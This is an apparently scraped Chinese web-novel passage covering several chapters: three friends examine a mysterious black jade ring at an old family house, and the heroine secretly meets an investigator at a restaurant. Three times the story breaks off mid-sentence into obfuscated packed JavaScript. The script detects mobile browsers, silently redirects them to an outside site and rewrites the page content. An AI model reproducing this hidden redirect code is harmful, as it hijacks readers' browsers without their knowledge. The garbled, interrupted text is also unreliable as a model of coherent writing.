话说,伊峰秋陪在身边的时候,她好像总会忘了害怕。 也许因为他是专业人士的缘故? 郑落落摸摸肚子:“哎,到时候再商量吧,好饿,吃东西吃东西。” 唐镜此时才意识到,自己已经饥肠辘辘了,早上吃的那点东西,已经消化殆尽,只不过因为幻境里面的情形,心神一直不定,连饥饿都忘了。 齐修从旁边的柜子里拿出几听军用罐头,一袋丹麦产的水果麦片,三副干净的碗碟,又从背包里拿出几袋牛奶。 他先把麦片倒进三个碗里,用牛奶冲泡麦片,然后又打开军用罐头,分别是午餐肉、沙丁鱼和金枪鱼。 郑落落从背包里掏出几袋零食,有牛肉干、鱼皮花生、杏仁、巧克力等等,一一撕开摆在桌子上。 好吧,唐镜不得不承认,她压根就忘了带吃的。 齐修递给唐镜一碗泡好的麦片:“先随便填填肚子,晚饭我们去镇上吃,有家饭店,专做山野风味,让你尝尝我们桐留的本地特色。” 唐镜边吃边问齐修:“你晚上住这里,真的不怕鬼吗?就算是你家祖宗的地盘,但是不怕一万,就怕万一啊。” “对啊,荒废了这么多年,谁知道会不会有什么孤魂野鬼搬进来,占了你家祖宅?换做是我,晚上肯定睡不着。”郑落落剥了粒牛肉干,扔进嘴里。 “至少在我这个院子范围里,不会闹鬼,”齐修一本正经的说,“这院子请大师施过法,邪祟都要绕行。” “我看你比大师更像大师。”郑落落笑道。 三碗牛奶麦片下肚,总算恢复了点精气神,唐镜和郑落落继续去翻故纸堆,齐修拿出一套茶具,准备泡茶。 唐镜看着他的电磁炉,有些惊讶:“这宅子里居然还通电?” “我弄了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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唐镜装作惊奇的样子叫起来:“哇,好稀奇,指环里面还能刻花纹喔……” 齐修笑起来:“好眼力,唐镜,你很有做古玩鉴定的天分。” 郑落落也从故纸堆里抬起了头,好奇追问:“花纹,什么花纹?” 唐镜本以为齐修会故作不知,又或者会顾左右而言他,没想到他会是这样反应,不由微怔一下,但是立即就恢复了正常。 她以开玩笑的语气说道:“这又需要什么眼力了?我以前看过介绍微雕的纪录片,有些人在米粒上,在头发丝上雕画,指环里面雕花纹,想来也不是什么难事吧?” 郑落落走过来,拿过唐镜手上的黑玉指环,看来看去:“花纹在哪,我怎么看不到?” “所以我才说唐镜的眼力好,这枚指环用的是已经失传的内雕工艺,花纹刻在指环内部,阳光要从一个非常特别的角度照进去,才能看见。” 齐修边说边走过来,拿过黑玉指环,对着阳光慢慢调整角度。 很快,郑落落就看到了黑玉指环里面的那一圈图案,她忍不住咦了一声:“这不是甲骨文吗?” “对,这里面刻的确实是甲骨文,翻译过来的意思就是‘一沙一世界,一念一天地’。”齐修微笑道。 一沙一世界,一念一天地。 唐镜记得有句佛偈,“一花一世界,一叶一菩提”,不知道和这黑玉指环里面刻的“一沙一世界,一念一天地”有什么关系。 没等她问出来,就听齐修继续说道:“佛家有须弥芥子之说,须弥是诸山之王,世界的中心,芥子是芥菜的种子,极其微小,佛法精妙,偌大的须弥山,也可以纳入小小的芥子之中。” “佛法我不懂,不过我倒是好奇,这几个古梵文是怎么刻到指环里面去的?我见过一些内雕艺术品,在小瓶子里面刻一幅山水画之类的,那是通过瓶子口在内壁上操作,你这指环又没有开口,怎么在里面刻字?” 郑落落一边说,一边来回看着指环。 唐镜倒没怎么关心怎么在指环中间刻上字的问题,一念一天地这句话,倒是让她想起通过那架屏风,进入另外一个空间的事情。 按照齐修的说法,那架屏风相当于一个时空之门,三个人不可能无缘无故就能通过时空之门,否则任何一个看到屏风的人,都有很大机会穿越到那个空间去。 齐修能带她们通过时空之门,会不会跟他戴的这枚黑玉指环有关? …… 30. 第 30 章 想到黑玉指环,唐镜又莫名想起伊峰秋的那块黑白相间图案的手帕。 那天晚上在屏风前,她从幻境里脱身之后,发现伊峰秋手腕上缠着块手帕,和她手腕上缠着的手帕紧紧挨在一起,中间还有道细细的光线在游走。 她和伊峰秋能在屏风前,进入另外一个时空,会不会跟手帕有关系? 而且,她当时在幻境里能够听到伊峰秋的声音,一定是因为两块手帕的缘故! 唐镜忍不住把手缩进袖子里,用手指摸了摸系在手镯上的手帕,触手柔软,就像摸到了云朵的感觉。 此时,她才意识到,这块手帕看似普通,但是凭这手感,就知道用料绝非一般棉布,至少在她的记忆中,从没有接触过这样面料制品。 唐镜不动声色的把手从袖子里重新伸出来,不管是郑落落还是齐修,都没有注意到她的这个小举动。 伊峰秋到底是什么人?他绝对不是个普通人! 无数疑团在她脑海里浮起。 唐镜有一种冲动,真想现在就冲回市区,抓住伊峰秋,哪怕是严刑拷打,也要问出个一二三来。 齐修把黑玉指环重新戴回到中指上,说道:“根据祖上的记载,这指环应该有一对,另外一枚是白玉制成,不过那枚白玉指环丢了,只有这枚黑玉指环传了下来。” 黑玉白玉? 伊峰秋的手帕也是黑白相间,其中一块就放在唐镜口袋里。 唐镜记得道家的太极图案,是黑白两条鱼组成了一个圆。伊峰秋说过,他父亲是正一门的道士。 这其中有没有什么联系呢? “喂,你发什么呆呢?”郑落落的话把唐镜从沉思中拉回到现实。 她转头冲郑落落笑笑:“齐修说这指环是一对,一枚黑玉指环,一枚白玉指环,我突然想到了黑白无常,嘿嘿。” “I服了you!你如果说联想到指环王,我都觉得很正常,你想到黑白无常,这脑洞开的也太变态了吧。”郑落落夸张的说。 唐镜问齐修:“这对指环这么特别,你们祖上是怎么得来的?指环里面既然刻的是甲骨文,会不会是夏商时代的东西?” 齐修微微一笑:“我以前翻家里留下来的那些故纸堆,里面有一点关于指环的记载,不过语焉不详,我后来根据族中的一些传闻,又查阅了不少史料,可以确定,这对指环确实来自上古,至于怎么到祖辈手里,却始终是个谜。” 毕竟年代太久远了,而且历史上无数次战乱,很多书籍典册也都毁损了。 唐镜心中突然一动,故意装作若无其事的样子随口说道:“对了,我上次听朋友说,印度有一家很特别的寺庙,寺庙的样子很像一只眼睛,正门就像眼睛里的眸子,这寺庙你听说过吗?” 寺庙是由黑白两色构成,而伊峰秋祖传的那对玉扳指,还有伊峰秋那神奇的手帕,也都是黑白两色。 这中间有什么联系吗? 不过唐镜没有时间去多想三者之间的联系,现在还有更重要的事情要做。 唐镜描述的这个寺庙,就是伊峰秋曾经给她看过的那张照片上的寺庙模样,照片是叶菲偷拍的,照片里面齐修穿着白色的禅服,和两个僧侣相对而坐,闭眼入定。 因为这张照片,唐镜和伊峰秋都怀疑,叶菲的失踪,和齐修有关系。当然,这座寺庙并不是在印度,而是在尼泊尔。 唐镜提起这个寺庙,还故意说成是在印度,就是想看看齐修的反应。 她的话音刚落,就见齐修脸上露出好奇之色:“寺庙形状像一只眼睛?我在印度去过不少寺庙,从来没见过,也没听说过,这寺庙供奉的是什么神灵?” 如果不是唐镜亲眼见过那张照片,她一定以为齐修真的不知道有这个寺庙。 这厮的演技,如果去演电影的话,分分钟拿奥斯卡奖。 郑落落也被勾起了兴趣,她也去过印度。按照她的说法,印度生活成本那么低,她一个月的工资就能猫在印度过一年了。 唐镜虽然也去过印度一次,不过是跟着姜姜交流体术,主要待在普那,论起对印度的熟悉程度,齐修和郑落落肯定甩她几条街。 她本来想用寺庙的事情试探齐修,没想到反倒把自己给绕进去了。 此时看到齐修和郑落落都兴致勃勃的望着她,摆出洗耳恭听的架势,她也只好继续说下去。 “我那朋友也是偶然听人提起的,说那个寺庙里面的神灵非常灵验,只是地处偏僻,知道的人不多,寺庙名字叫什么‘神之源’。” 她一边说,一边观察齐修的反应。 好吧,他确实有做奥斯卡影帝的潜质,他现在从头到脚,每一根发丝,每一个表情,都表明他确实既没听说过,也没去过这座寺庙。 “小镜,你去问问你那朋友,寺庙在什么地方?下次我们去印度时候可以去那里看看。”郑落落一边说,一边掏出手机,开始百度“神之源”。 唐镜都不用去看她的手机,就知道结果,百度出来的“神之源”有各种词条,甚至还有保健品,就是没有她提到的那座寺庙。 因为她也曾经百度过,一无所获。 就算用大脚趾也能想到,这么古怪的寺庙,在这个网络时代,还没有被人晒出来,那说明它不仅地处偏僻,而且知道的人还极少。 “搜都搜不出来,现在还有网络搜不到的东西?小镜,你那朋友不是随口编来逗你玩吧?”郑落落放下手机,有些怀疑的问道。 “搜不到怪我咯?”唐镜只能做出个无辜的表情。 “在印度有些地方,因为地势险恶,现代化的交通工具根本没办法通行,要想进出,只能借助绳索等工具攀越通行,那里的部落世世代代供奉着他们自己的神灵,不为外界所知。”齐修说道。 唐镜看着齐修,再一次觉得,他不去影视圈发展,真是浪费啊。 她提起“神之源”就是想来试探一下齐修,不过从齐修的表现来看,应该是没试探到什么。不过,这也算主动打草惊蛇,看看齐修会不会因此采取什么行动。 郑落落缠着齐修,问他去过哪些“不为外界所知”的地方。 齐修说他在南印度极偏远处,因为偶然的契机,去过一个非常特别的部落, 这个部落生活在沼泽深处的丛林里。丛林被方圆几百里的沼泽包围在中间,沼泽里面隐藏着各种不为人知的毒虫怪兽、散发瘴气的植物。 外人要想进入到部落里,唯一的方式就是坐直升飞机,越过方圆几百里的沼泽,还要保证不在瘴气里迷失方向。 可是部落里的人,却能够自由的穿行沼泽,在沼泽里捕猎,而他们穿行沼泽,是靠骑行一种大蟒蛇。 部落里驯养的这种大蟒蛇,成年后身体有水桶粗细,比两层楼还要长,蟒蛇光滑的肚皮,既可以让它们在沼泽泥淖表面自由滑行,又不会陷到泥淖里。 这个部落里供奉的神灵,就是一个蛇头人身的图腾。 蟒蛇对于部落的意义,就相当于相代世界里的轿车对于家庭的意义。 郑落落听得大呼过瘾,说自己一定要找机会去那部落看看,骑行蟒蛇穿越沼泽,光是想想,就已经让人心跳加速,手心出汗了。 不得不说,齐修这个人虽然行事让人难以琢磨,可是他的见识、眼界、口才,都属于人中翘楚,和他聊天,绝对是一桩乐事。 喝完一壶茶,三个人才把话题重新又转回齐卓宇,开始翻阅剩下的故纸堆,可是齐卓宇三哥后面的记录,虽然也很详细,但并没有什么新的发现。 齐卓宇自从和隐形女子在一起,就被家族以“养病”的名义,软禁在他那间院子里,接下来的几十年,几乎是足不出户。 齐卓宇那个时候才二十多岁年纪,风华正茂,却因为一个别人看不见的女子,放弃了自己的前途、事业、家族,这种爱情,确实也只能用中邪来形容了。 在齐卓宇三哥手书的最后,记录了他和齐卓宇的一段对话,时间是齐卓宇“中邪”后的第三年。 那天是三哥的生日,晚上三哥拿了酒菜,敲开齐卓宇的院门,就在那个院子里,兄弟俩摆上酒菜,对坐而饮。 酒喝到微醺时,三哥问齐卓宇,这般足不出户,天天对着一个女人,已经过了三年,难道就没有厌倦的时候? 需知,喜新厌旧本是人的天性。 再好吃的菜,天天吃,终有一天,也会没了胃口。 齐卓宇当时只是反 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唐镜有些感慨,齐卓宇虽然放弃了世俗意义上的成功,比如事业、地位、名利,可是不管是他自己留下来的文字,还是三哥的记录,字里行间都能体会到齐卓宇满满的幸福感。 曾经有个睿智的学者说过:爱情就是一个人对另一个人产生了强烈兴趣,想起对方,就会激动,心跳加快,甚至变得神经兮兮。在人间所有的游戏中,要数爱情最好玩,好玩来自于它的烈度和纯度,世间没有什么事的激烈程度和纯粹程度能够与爱情相比。 最后,那位睿智的学者总结说,如果在人生中有幸遭遇到了爱情,一定珍惜,好好玩儿这个游戏,最幸福的人是那些终身玩着这个游戏的人。 按照这位学者的理论,齐卓宇应该就属于最幸福的人了,一辈子都沉溺在爱情游戏里。 而且从故纸堆的记录上来看,齐卓宇最后神秘的消失在房间里,多半是跟他所爱的那位女子一起离开了。 这世界上真的会有那种,战胜时间的爱情吗? 感慨之余,唐镜脑中忽然灵光一现:“齐卓宇消失在房间里,会不会是因为那里也有一个时空之门,就像那架屏风一样,他只是通过时空之门离开了?” 郑落落和齐修同时眼睛一亮。 齐修沉吟了一下,摇头说道:“我们虽然可以通过那架屏风到另外一个时空,可是我们只是意识或者说是灵魂穿越过去,身体还留在房间里,齐卓宇却是连身体都不见了,显然不太一样。” “如果齐卓宇是和那个女子一起离开,就说的通了,也许那女子有办法,让他的身体也穿越到另外一个时空。”唐镜推测道。 “我曾经做过一个梦,梦里面有很多大大的肥皂泡,每个肥皂泡里都躺着一个人,在天空上越飘越高,肥皂泡会突然碎裂,无数光点亮起又湮灭,而气泡连着人就不见了。”郑落落喃喃说道。 气泡,那无形罩子,可不正像是一个透明的气泡吗? 唐镜脑子里面突然出现一个画面,齐卓宇躺在透明气泡中间,在一个宛若井中的地方,不断往上往上,突然气泡破碎,齐卓宇也碎成了无数光点,湮灭无踪。 这情景实在太诡异,她有些头皮发麻,忍不住晃了晃脑袋,往门口走去:“你们慢慢琢磨,我去院子里走走。” 院子很小,一半铺上了桐木,上面放着一张藤编的圆桌,两张藤椅,都收拾的很干净。 太阳西斜,午后的阳光带着点暖意,洒在院子里,减弱了不少萧索的秋意。 唐镜双手揣在衣兜里,沿着院墙慢慢溜达,心想伊峰秋现在不知道在干嘛,是不是正在和专家研究案情? 到目前为止,她可以肯定,伊峰秋在冥想静观方面的造诣,绝对不会低于齐修,这会不会是和他出生在正一门有关系? 道家的修习和佛家不同,道家讲究性命双修,追求长生久视,通俗来说,就是道家希望肉身也一样能与天地同寿。而佛家的修习,并不在意□□的寿命,追求的是一种解脱,离苦得乐。 伊峰秋和齐修,应该都经过极其严格的冥想训练,所以才能感应到那架屏风的异常。 笼罩在这两个男人身上的谜团真是越来越多了呢。 …… 31. 第 31 章 唐镜边溜达边整理思绪,浓浓的迷雾中,似乎有一条线索渐渐显现出来。 叶菲失踪,就好像一个引子,伊峰秋、郑落落、齐修由此一一出现在她的生活里。不管是伊峰秋,还是齐修,都没有表面上看起来那么简单。 她越来越有一种感觉,冥冥之中仿佛有什么力量,把自己、郑落落、伊峰秋和齐修四个人聚在了一起。 幻境里,峰顶之上,那两个女人,为什么会是她和郑落落的模样? 她们彼此间存在着什么样的联系? 身后响起脚步声,唐镜不用回头,就听出是齐修的脚步声。 她收回思绪,装作若无其事的样子,望着远处的天空。 齐修在唐镜身侧停下来,和她并肩而立,顺着她的视线看去。他身高和伊峰秋不相上下,只是更清瘦一点,气质也更俊雅一些。 伊峰秋像一把刀,凌厉、锋芒逼人。 齐修则像一把宝剑,内敛、温润如玉。 这个季节的天空,高远湛蓝,几丝流云如絮,漂浮在半空,仿佛随时都会被风吹散。 “想什么呢?”齐修收回目光,侧头看向唐镜,微笑道。 院子里,只有她和他两个人。 唐镜迎着他的视线,淡淡一笑:“我在想,你在屏风前,能引我和落落进入幻境,普通人是绝对做不到的,要有极深的禅定功力才行。” 齐修凝视着她,缓缓说道:“在喜马拉雅山深处,有一处人迹罕至的山谷,是修士心目中的圣地,只有极少的修士,才有资格去那里学习。而一旦被允许进入圣地修行,要想离开,就必须通过试炼才行。” 唐镜知道那处禅修圣地,那里也是很多体术修习者向往的地方,但是真能去那里修习的,是少之又少,因为除了本身的资质、天赋、修行境界要达到要求外,最重要的是有舍弃一切的决心。 因为,一旦进入圣地,除非通过试炼,才能离开,否则,就要留在圣地。一辈子没通过试炼,那就一辈子留在圣地。 试炼的具体内容,并不是秘密,在体术圈里,人人皆知。 题目很简单,参加试炼的修习者,只需要在终年积雪的山顶,裹着被冷水浸透的毯子,通过冥想和入定,控制体温,烘干毯子。 第一层毯子烘干后,就会在第一层毯子上加上第二层毯子。 以此类推,每烘干一层毯子,外面就会加上一层。 连续烘干七层毯子,身体毫无损伤,心灵依旧空明清净,就算通过试炼,以后是走是留,悉听尊便。 那处圣地在一处人迹罕至的山谷里,因为这种试炼方式,被称为七心谷。 七心谷是什么时候建立的,没有人知道,不过能通过试炼的体修士,据说一只脚已经迈入神人之境。 齐修知道这处七心谷,唐镜倒是不觉得奇怪,不过他突然提起这个地方,倒是让她有些意外。 这地方和他有什么关系吗? “我在国外读大学的时候,曾经休学,去七心谷禅修,三年后,通过了试炼,又重新回到学校学习。”齐修的语气很平淡,就好像在说他去了某个地方旅游一样。 可是唐镜却像看怪物一样看着他,有一种想要尖叫的冲动。 三年,通过试炼! 这是一种什么感觉? 就好像你要去爬喜马拉雅山,爬的腰酸背痛,精疲力尽,抬头一看,自己连山腰都没到,山顶还遥遥无期,就在这时候,有人御风而行,轻飘飘的经过你身边,转眼就到了山顶。 随后他就从山顶上飘然而下,和你擦肩而过,脸上写满一种“喜马拉雅山也不过如此罢了”的表情。 果然是人比人,气死人! “齐修,你到底是什么人?”唐镜忍不住喃喃自语。 “当然是地球人啊。”齐修笑笑,“我初中的时候,偶然看到《抱朴子》这本书,对道家修行很好奇,找了不少这方面的资料研究。” 唐镜自然知道《抱朴子》这本书,是东晋道士葛洪所著,分《内篇》和《外篇》,书里全面总结了晋以前的神仙理论,并系统地总结了晋以前的神仙方术。可以说,葛洪不仅继承了早期道家的理论,还以自身的实修把道家理论发扬光大。 不过,齐修提到《抱朴子》,唐镜第一时间,想到的是伊峰秋! 因为伊峰秋的父亲,就是正一门的道士,伊峰秋虽然不是道士,可他也算是在道门里长大。 而唐镜的爷爷,早年也是全真教的道士,后来遇到奶奶后,才还俗。 唐镜、伊峰秋和齐修,竟然全和道门有千丝万缕的关系! 齐修继续说道:“我在国外,还接触过一些修行界的大师。说来也奇怪,对别人来说非常难的几个修行门槛,我非常轻松就跨过了,后来,有位大师说,我天生就是修行人。” 好吧,对这种天赋异禀之人,如唐镜这等普通人,除了无语还能怎么样? 就在这时候,唐镜放在衣兜里的手机突然震动了一下,有微信来了。她对齐修抱歉一笑,掏出手机看了一眼。 居然是伊峰秋发来的微信“我已经到桐留镇上”。 他来桐留了? 他这个时间跑来做什么? 不过疑惑归疑惑,知道伊峰秋来了,唐镜还是莫名有种开心的感觉,当然,她回微信的时候,自然不会表现出这种开心,只是干巴巴的打了个“?”。 “有什么好消息吗?看得出来你很开心。”齐修在旁边微笑着问道。 啊啊啊,居然被看出来了?她表现的有这么明显吗? 唐镜不知道伊峰秋的来意,自然不能给齐修多说,只是尽量表现的若无其事:“老板说要给我涨工资。” “呵……”齐修低低笑了一声,唐镜也没有听出来,他这笑里面到底是什么意思,有没有相信她的话。 莫名的,唐镜心里突然升起一个念头,他这么急急忙忙跑来,该不会是因为不放心她吧? 但是很快她就把这个念头压下去了,伊峰秋这种人,怎么可能这么幼稚呢,况且她的魅力显然还没大到这种程度,还是别在这里自作多情了。 唐镜自嘲的笑了笑,多半是伊峰秋从专家那里受到了什么启发,或者是想暗中调查齐修,所以才会赶来这里。 刚自嘲完,微信又响了,自然还是伊峰秋的“半个小时后,我到老宅,你不要告诉任何人。” 唐镜瞥了齐修一眼,他双手负在背后,抬头看向后山。 她给伊峰秋回了微信“我们马上就要去桐留镇,在镇上吃晚饭。” 伊峰秋很快回我“到时把吃饭地点发给我。” 唐镜回了个“好。” 也许是因为知道伊峰秋就在山脚下的镇里,她本来乱糟糟充满了各种念头的脑子,突然就变得敞亮了许多。 “你从来没有爬过那山吗?”唐镜收起手机,见齐修还在看着后山,就没话找话的问了一句。 “小时候也想过要爬上去看看,不过,这山看着不高,但是再往上,全是陡坡,根本无路上下,那时候有也没什么爬山装备,也就作罢了。” “你家祖上选择在这里建宅子,大概就是因为这种地势,易守难攻,特别是战乱年间,非常安全。” 说到这里,唐镜突然想起郑落落的话,这老宅下面是一座古墓,忍不住有点头皮发麻,古墓的事情,齐修到底知道不知道? “除了地势易守难攻外,也有风水缘故,据说当时请了非常有名的风水先生,看遍桐留附近百里之地,最后选中了这个地方。” “想要爬到山顶,看来不是一般的辛苦。” 唐镜望向后山,从这个角度,看不到山顶,只看到丛生的藤蔓和杂树,根本无路可循。 齐修淡淡一笑:“我会准备好专门的登山工具,有现代化的登山工具帮助,别说这座山,就算是珠穆朗玛峰,也能登上去。” “说来也是奇怪,一座山的山顶莫名其妙没有了,居然这么多年都没人注意过。”唐镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234659|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起来就觉得很不可思议。 “那是因为山顶不是一下子没了,而是一点一点的消失,就如温水煮青蛙,大家都习以为常,以为山顶本来就是圆的。”齐修若有所思说道。 “有道理!”唐镜觉得他这个推测很有说服力,她们是从两张不同相隔了百年的照片上发现了山顶的变化。 可是,若这山顶是在几十年里面慢慢变的,确实不会被人注意到。 唐镜突然想到一件事,会不会现在这山顶,还是在不断的变化中呢,只是因为它的变化实在太缓慢,太细微,所以肉眼很难看到这种变化。 一座还在不断变化的山! 那么,导致山顶变化的力量,是否还一直存在? 齐修显然也想到了这一点,和唐镜对视一眼,都从彼此眼中看到惊疑。 两人讨论了一会,越来越觉得这个推测可能性很大,后山的山顶,还处在一个变化的过程中,只是这变化极其缓慢,没有几十年上百年的对比,是无法察觉这种变化的。 郑落落从房里走出来,揉揉眼睛,伸了个懒腰:“眼睛都看花了,你俩聊什么呢,聊这么开心?” 齐修简单说了下刚才的猜想。 郑落落一下来了精神,听完后,她也觉得这个推测很有可能。 这下子,三个人都越发期待早点登上山顶了,最后商量了一下,索性今晚不在老宅过夜,吃完晚饭就回市区,为下次登山做准备。 虽然这山不高,但是却过于诡异,也许还要准备点防身设备,以防止遇到什么不可测之事。 商量完爬山的事情,日影已经西斜,三个人收拾东西,离开老宅,前往桐留镇吃晚饭。 唐镜故作好奇问齐修,去什么地方吃饭。 齐修说去镇上的“山里人家”,吃最正宗的土菜。 她趁齐修和郑落落聊天,故意落后两步,给伊峰秋发了条微信,告诉他正在往镇上去,准备在“山里人家”吃饭。 伊峰秋回了个笑脸。 三个人走走说说,不知不觉已经到了镇上。这个时候还没到吃饭的点,不过镇上饭店门口,已经陆陆续续有人进出。 桐留镇这十几年来大力发展旅游业,镇上开了不少客栈、餐馆,现在已经过了旅游旺季,又不是周末,所以镇上游客并不是很多。 到了镇上以后,不时有镇上的居民跟齐修打招呼,路上有些姑娘看见齐修,眼睛立刻一亮,目光一直盯在齐修身上,有些胆子大点的,还会给他抛媚眼。 这些姑娘,有的是镇上的居民,有的是游客。 男人若是长的太帅,果然也很麻烦。 唐镜一边走,一边下意识的看向四周,心想伊峰秋会不会正站在哪扇窗户后面,手指间把玩着香烟,正用那种犀利的目光打量着她们? 山里人家在镇子边上,靠近山脚的另外一面,公路边上分出一条岔路,大概二十多米长,路上铺着鹅卵石,直接通向正门。 正门是由几根高大的原木搭成,水桶粗的木头,连树皮也没,粗粝斑驳的树皮,带着蛮荒气息。 走进去以后,里面是一片宽敞的平地,建着高高低低的几排房子,都是连着树皮的原木搭成,简单而粗犷。 房子的一侧,还挖了个湖,有足球场大小,湖里面有一群鸭子正在悠游自在,还有两只黑色的天鹅,正在交颈嬉戏。 沿着湖边有一道围廊,上面摆着桌椅,可以吃饭,也可以坐那钓鱼,只是现在大概天气比较冷,所以大部分人都在室内,围廊上只有三三两两的客人坐在那里,拿着钓竿钓鱼。 齐修显然是“山里人家”的熟客。 院子里的领班,一看见齐修,就满脸堆笑,问也没问,直接带着三人去了湖边露台上的包厢,推开包厢窗户,就是湖水,应该是这里最好的包厢。 唐镜刚坐下,就收到微信信息,正是伊峰秋的“我在5号包厢”。 她的心莫名其妙漏跳一拍,心里居然有种甜丝丝的感觉…… 32. 第 32 章 唐镜拿着手机,见郑落落倚在窗边,逗弄那群鸭子,齐修正在点菜,服务员站在他旁边,飞快的记录他说的菜名。 她扬了扬手机,随口说:“我出去打个电话。” 边说边推开包厢门走出去,反手关上门,正准备找个服务员问问5号包厢在哪里,直接就看见了5号包厢! 居然就在他们包厢的斜对面! 唐镜做了几个深呼吸,让自己尽量平静下来,这才走到5号包厢门口。门是虚掩的,她先回头看了看自己的包厢,见没什么异样,这才扬起手,刚想敲门,包厢门却自己开了。 伊峰秋站在门侧,一只手拉着门,一只手的手指间把玩着一根香烟,那双仿佛能看到人骨头里的眼睛,带着若有若无的笑意看向她。 视线撞在一起,唐镜脸莫名一热,不由得避开他的视线,低声说道:“你不是有事吗?怎么又来了这里?” 伊峰秋没有回答,伸手把她拉进门里,又朝门外四周看了看,这才关上门。 “先喝杯茶。“ 伊峰秋指指桌上刚沏好的茶水,透明的玻璃杯里,碧绿的茶叶根根立起,淡淡的水汽在杯口缭绕。 “我不能在你这里待太久,齐修和郑落落还在包厢里面呢。”唐镜一边说,却又不由自主坐了下来。 伊峰秋在她旁边坐下,他今天穿了件黑色的夹克,一条水磨蓝的牛仔裤,不像平时那样严肃阴郁,多了几分轻松休闲的感觉。 唐镜端起茶水,小口啜饮着,水温刚刚合适,难道他是算好了时间沏的茶? 伊峰秋:“请来的专家查看了那条双头蛇,确定双头蛇的死因,应该是脱水而死,所以才会形成木乃伊状态。在高温干燥的沙漠里,尸体不容易腐败,就会形成这种干尸。” “可是你捉到它的时候,它还是活的,而且就算它是装进袋子里以后死掉了,在这么潮湿的地方,也不至于一下就变成干尸吧?”唐镜疑惑道。 “经过检查,这双头蛇从死去到变成那种程度的干尸,至少需要几年时间。” 好吧,虽然这种情形匪夷所思,不过这段时间唐镜见过的各种匪夷所思的事情太多了,以至于已经见怪不怪,能平静的接受任何莫名其妙的事情了。 “对了,郑落落说,齐家老宅是修在一座古墓上面的,那古墓还是南北朝时候一个王公贵族的坟墓,没准老宅里的那些情形,和古墓有什么关系。” 她把今天在老宅里发生的事情,大概讲述了一遍。 伊峰秋听的很专注,但他的脸上看不出任何情绪,一如既往的平静。 唐镜突然想到,他会不会已经通过她戴的银手镯的摄像头,看到了很多她描述的场景? 所以,他才会表现的这么平静? 不过唐镜随即反应过来,镯子一直被衣服袖子遮住,摄像头拍下来的,肯定是一团漆黑。 说完后,她一口气把杯子里剩下的茶水喝完,放下杯子:“我得回去了,时间太长容易引起怀疑。” 哎,唐镜觉得自己现在变得鬼鬼祟祟,就像个卧底。 “等等。” 伊峰秋拿出手机,调出里面的一个文档,竟然是齐家老宅的地形图,里面做了各种标注。 “齐修住的院子在什么地方?”他把手机摆在唐镜面前,示意她指出来。 唐镜把地形图放大,指出齐修拾掇出的那个小小的院子。 伊峰秋:“你们决定今晚不住这里,等弄好登山装备,下周末来这里住一晚,周六一早上去爬山,对吗?” 唐镜点点头:“已经决定了。” 伊峰秋收起手机:“好,记住,下周五晚上,不管外面发生什么事情,你和郑落落都待在房间里,不要出来。” “为什么?”唐镜下意识的反问了伊峰秋一句。 他沉吟了一下,才慢慢说:“那天晚上我也会到老宅,准备暗中会会齐修,你好好待在屋子里,这样我才不会分心。” 不知道为什么,唐镜听到他说这句话,心里浮起小小的窃喜。 伊峰秋会因为她分心喔。 但是这种小窃喜,随即就因为他的下一句话就烟消云散了。 “你那么笨,体术冥想都是半吊子,千万别来掺和,否则只会添乱,给我帮倒忙,越帮越忙。” 艾玛,就这样被嫌弃了。 “这么冷的天,我不待在暖和的被窝里,跑到那些阴嗖嗖的老房子里多事,除非我脑子进水了,再说了,你的魅力还没那么大呢。”唐镜气呼呼的说,站起身,往门口走去。 伊峰秋跟在她身后,不紧不慢走到门口。 唐镜刚想拉开门,他按住门,朝她摇了摇头,先是附耳在门上倾听了一下,随后把门拉开一条缝,往外看了看。 见到外面没什么异样,伊峰秋这才把门打开,示意唐镜可以出去了,见他那副若无其事的样子,她心里更加不爽了。 也不知道脑子是不是抽筋了,唐镜一个转身,一把抱住伊峰秋,在他的下巴上吧嗒亲了一下。 感觉到伊峰秋的身体瞬间僵硬的像块木头,一改平时的冷静阴郁,好像变成了个手足无措的孩子。 而且,她分明看到,他脸颊上甚至到耳朵边,都浮起了一抹浅浅的红。 竟敢嫌弃她! 哼唧,现在知道她的厉害了吧,不过当唐镜和他那有点羞涩,有点不安,还有点笑意的目光接触时,脸上突然有点发热。 “竟敢说我笨,说我是个半吊子,现在知道我的厉害了吧!”唐镜放开伊峰秋,扭过头,色厉内荏撂下一句,推门就走。 为什么每次和伊峰秋在一起的时候,她都会莫名其妙的做出些蠢事呢? 站在包厢前,唐镜先做了几个深呼吸,让情绪平静下来,这才推门进去。 郑落落一个人坐在桌子边,正在玩手机,齐修不在包厢里。 唐镜心里有些不安,齐修会不会看见她进了5号包厢?不过她仔细回忆了一下,进门的时候,应该没人发现。 “齐修呢?”唐镜坐在郑落落旁边,装作随意问道。 “跟你一样,出去打电话了,说是联系朋友,让帮忙采购市面上最好的登山装备。”郑落落放下手机,把菜单扔过来,“想吃什么赶紧点,我把我爱吃的都点了。” “他什么时候出去的?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234660|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么没看到他?” “你刚出门一会,他就走了,估计你俩方向不一样吧。”郑落落心不在焉的说。 